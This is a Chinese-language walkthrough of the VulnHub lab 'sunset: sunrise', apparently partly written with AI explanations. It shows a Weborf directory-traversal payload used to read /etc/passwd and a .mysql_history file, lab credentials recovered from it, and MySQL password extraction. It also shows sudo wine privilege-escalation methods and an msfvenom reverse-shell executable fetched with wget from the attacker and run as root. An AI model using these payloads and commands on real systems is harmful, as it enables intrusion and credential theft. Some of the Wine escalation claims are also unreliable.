sunset: sunrise
sunset: sunrise
来自 <sunset: sunrise ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.140
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.140
1. 22/tcp (SSH - OpenSSH 7.9p1)
- 版本对应 Debian 10 Buster 默认版本。
- 潜在风险点:
- 如果存在弱口令/默认口令,可爆破登录。
- OpenSSH 7.9 尚未有重大漏洞,但依赖 系统用户密码安全性。
- 如果搭配了错误的 sudo 权限,可能进一步提权。
攻击路径:Hydra/Medusa/Patator 爆破 → 结合字典尝试 SSH 登录。
2. 80/tcp (HTTP - Apache 2.4.38 on Debian)
- HTTP 服务器运行在 Debian 上。
- 返回页面 index.nginx-debian.html,说明 Web 环境存在混合配置(可能曾安装 Nginx 后迁移)。
- 目录结构暴露,可能有敏感文件可下载。
潜在攻击点:
- Apache 2.4.38 在 Debian 上可能受到部分模块漏洞影响(例如 mod_cgi、mod_ssl 配置问题)。
- 可进一步探测:
- 目录扫描 (gobuster/dirsearch/ffuf)
- CVE 漏洞检测 (nikto, nuclei)
- 手工测试 XSS/SQLi/LFI/RFI
攻击思路:目录爆破 → 代码审计/弱点利用 → Webshell 上传。
3. 3306/tcp (MariaDB 10.3.24)
- 数据库服务,未授权访问被拒绝。
- 表明数据库监听外网,存在潜在风险。
利用思路:
- 弱口令/默认凭证尝试(root/空密码)。
- 如果 Web 服务存在 SQL 注入,可以作为突破口。
- 若可访问数据库 → 获取用户密码哈希 → 反向破解。
攻击路径:SQL 注入 → 数据库用户爆破 → 提权 MySQL → 读取 /etc/shadow 等文件。
4. 8080/tcp (Weborf 0.12.2 with WebDAV)
- Weborf 是一个轻量级 Web/FTP 服务器。
- 启用了 WebDAV,支持:GET, POST, PUT, DELETE, OPTIONS, PROPFIND, MKCOL, COPY, MOVE。
- PUT / DELETE 等危险方法开放,可直接上传/删除文件。
- html/ 目录可访问,可能是网站根目录。
风险点:
- 如果 PUT 未受限制,可上传 Webshell(例如 PHP)直接 RCE。
- Weborf 0.12.2 是较老版本,存在 目录遍历与拒绝服务漏洞(CVE-2017 类似问题)。
- DAV 配置不当 → 可作为持久化后门点。
攻击思路:
- davtest / cadaver 测试 PUT 上传可行性。
- 上传一句话木马,结合 80 端口 PHP 环境访问执行。
- 如果执行失败 → 继续利用 WebDAV 进行目录遍历。
4,访问80端口开放的http服务
存在一个默认网页
扫描枚举其网页子目录,结果什么都没有
dirsearch -u http://192.168.23.140 -x 403,404
5,再访问8080端口开放的http服务
Weborf 介绍
1. 基本概念
Weborf 是一个轻量级的 Web 服务器,由 Federico Morelli 编写,属于开源项目(GNU GPL 许可)。
它的目标是提供一种非常小巧、快速、简易配置的 Web 服务器,主要用于:
- 快速共享文件(类似 Python http.server)。
- 提供 WebDAV(Web-based Distributed Authoring and Versioning)服务。
- 在嵌入式系统、低性能服务器中作为轻量级替代方案。
它不像 Apache/Nginx 那样功能强大,而是走 “轻量 + 简洁” 路线。
2. 功能特点
- 跨平台:主要运行在 Linux。
- 轻量级:二进制程序体积小,依赖少,适合嵌入式设备。
- 目录浏览:可以像 FTP 一样列出文件目录。
- WebDAV 支持:支持文件的远程管理(PUT/DELETE/MKCOL/COPY/MOVE)。
- 虚拟目录:允许映射目录,不必严格依赖真实文件路径。
- 简单配置:只需要最小配置文件即可运行。
3. 默认服务端口
- HTTP 默认端口:80
- 常见替代端口:8080(很多环境下用作文件分享服务)
在你的扫描结果中就发现了 8080/tcp 上运行 Weborf 0.12.2。
4. WebDAV 支持
Weborf 内置 WebDAV (RFC 4918),这让它不仅能提供静态网页,还能像共享盘一样使用。
支持的常见方法包括:
- GET:获取文件
- PUT:上传文件
- DELETE:删除文件
- MKCOL:新建目录
- COPY/MOVE:移动或复制文件
- PROPFIND:查询文件属性
安全风险点:如果没有启用用户认证,攻击者可以直接上传/删除文件 → 获得远程代码执行。
5. 版本情况
- 最新版本(截止 2025)大约是 0.13.x
- 你的扫描结果发现的 0.12.2 属于较旧版本,存在多个安全隐患:
- 弱认证机制:早期版本常缺少强制认证。
- 路径遍历漏洞(部分版本可绕过目录限制)。
- 拒绝服务漏洞:构造特殊请求导致崩溃。
6,这个web服务器的版本比较老,使用kali数据库检索其漏洞利用方法
这个版本存在目录穿越漏洞,阅读其使用方法
searchsploit -m 14925.txt
漏洞利用成功
http://192.168.23.140:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
然后就通过这个漏洞去窃取敏感信息,如两个用户目录下有没有什么可用信息。
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2f
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2fuser.txt
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2fweborf-0.12.2%2f
然后再拿dirsearch扫描网站有什么隐藏子目录
dirsearch -u http://192.168.23.140:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
尝试访问/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.mysql_history
得到一个用户的账户密码weborf/iheartrainbows44
7,开放的22端口ssh服务,3306端口的mysql服务。都尝试登录一下
ssh weborf@192.168.23.140
ssh登录成功,mysql也登录成功
mysql -u weborf -piheartrainbows44
show databases;
use mysql;
show tables;
select * from user;
select User,Password from user;
在mysql数据库user表中得到sunrise的明文密码thefutureissobrightigottawearshades和root用户的加密密码
8,横向移动,切换到sunrise用户
su sunrise
id
uname -a
lsb_release -a
查看一下sudo提权是否可行
Wine sudo 提权方法
1. 背景知识
- Wine:是一个兼容层(Windows Emulator),可以在 Linux/Unix 上运行 Windows 程序(EXE/DLL)。
- sudo:Linux 权限提升工具,允许低权限用户以 root 权限运行某些程序。
当 sudo 配置允许普通用户以 root 身份运行 wine 时,就可能导致 任意命令执行提权。
2. 典型错误配置
在 /etc/sudoers 文件或 /etc/sudoers.d/ 配置中有类似条目:
user ALL=(ALL) NOPASSWD: /usr/bin/wine
这表示用户 user 可以 无需密码 直接执行 wine,而 wine 可以加载/运行 Windows 可执行文件,进而执行任意 Linux 命令。
3. 利用原理
Wine 本身提供了调用 Linux 系统命令的能力,例如:
- 在 Windows 程序里调用 cmd.exe 或 powershell.exe → Wine 会模拟执行。
- Wine 可以访问宿主系统的文件系统(例如 /etc, /bin, /root)。
- 如果以 root 权限运行 Wine,攻击者就能通过它访问/修改任意文件。
4. 提权方法
方法一:直接调用 Shell
sudo wine cmd.exe
进入 Wine 提供的 Windows 命令行后,可以执行:
C:\> /bin/bash -i
→ 直接获得 root shell。
方法二:创建恶意 EXE
用 msfvenom 或 mingw 编译一个执行 /bin/bash 的 EXE 文件:
msfvenom -p linux/x86/exec CMD=/bin/bash -f exe -o shell.exe
然后用 sudo 执行:
sudo wine shell.exe
→ 弹出 root 权限 shell。
方法三:利用 Wine 环境变量
Wine 会读取宿主环境变量,例如 WINEPREFIX。
如果 sudoers 没有限制 env_reset,攻击者可通过伪造环境变量 → 加载恶意库 → root 提权。
方法四:访问宿主文件
即使没有直接执行 shell,攻击者也能:
sudo wine notepad C:\\windows\\system32\\drivers\\etc\\hosts
→ 实际上打开的是 Linux 下的 /etc/hosts,此时以 root 权限写入,能篡改系统配置文件。
进一步可以编辑 /etc/sudoers → 永久提权。
5. 攻防要点
攻击者视角
- 检查 /etc/sudoers 中是否有 wine 或 wineconsole。
- 如果存在 → 直接执行 sudo wine cmd.exe 或上传恶意 EXE 提权。
- 结合 本地信息泄露(日志、数据库凭证),进一步横向。
防御者视角
- 绝对不要 给普通用户配置 sudo wine。
- 如果必须(例如测试环境),要用 NOPASSWD 限制到具体路径(且仅限无危害的 exe 文件)。
- 建议通过 AppArmor/SELinux 限制 Wine 运行权限。
总结
Wine + sudo 是一个 高危组合:
- 允许用户运行 sudo wine ≈ 给了他们一个 root 权限的 Windows 解释器。
- 攻击者可以轻松绕过限制,直接获取 root。
因此在渗透场景中,发现 sudo wine 基本等于 “秒提权”。
9,漏洞利用方法很简单,msfvenom制作一个反弹shell的exe木马
msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 LHOST=192.168.23.128 LPORT=4444 -o shell.exe
python -m http.server
然后msfconsole监听对应端口
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.23.128
run
最后在靶机上下载攻击机的恶意木马,再使用sudo wine执行木马程序
cd /tmp
wget http://192.168.23.128:8000/shell.exe
sudo /usr/bin/wine shell.exe
关键问题分析
问题1:架构和操作系统不匹配
- 你的 payload 是 Windows x86,Meterpreter 设计用在 Windows 系统上,依赖 Windows 内核 API(线程、进程、Socket 等)。
- 靶机是 Linux(Debian 10 + Weborf + MariaDB 等),用 Wine 运行 Windows payload:
- Wine 模拟 Windows API,但不完全兼容
- Windows 的 Meterpreter loader 无法正常在 Wine 环境执行 → 立即崩溃
- 所以 Metasploit handler 收到的 session 直接 died。
问题2:Wine 并不能直接做提权
- 虽然你是用 sudo wine shell.exe:
- Wine 进程确实以 root 运行
- 但 Windows payload 在 Wine 下运行失败 → 没有有效 shell
- 也就是说,sudo 权限被浪费了,payload 根本没跑起来 → 无法提权。
问题3:网络问题不大,但也要注意
- 反弹 shell 要求 LHOST 可达,目标能 ping 攻击机 IP
- 你的核心问题是 payload 崩溃,网络不是主要因素。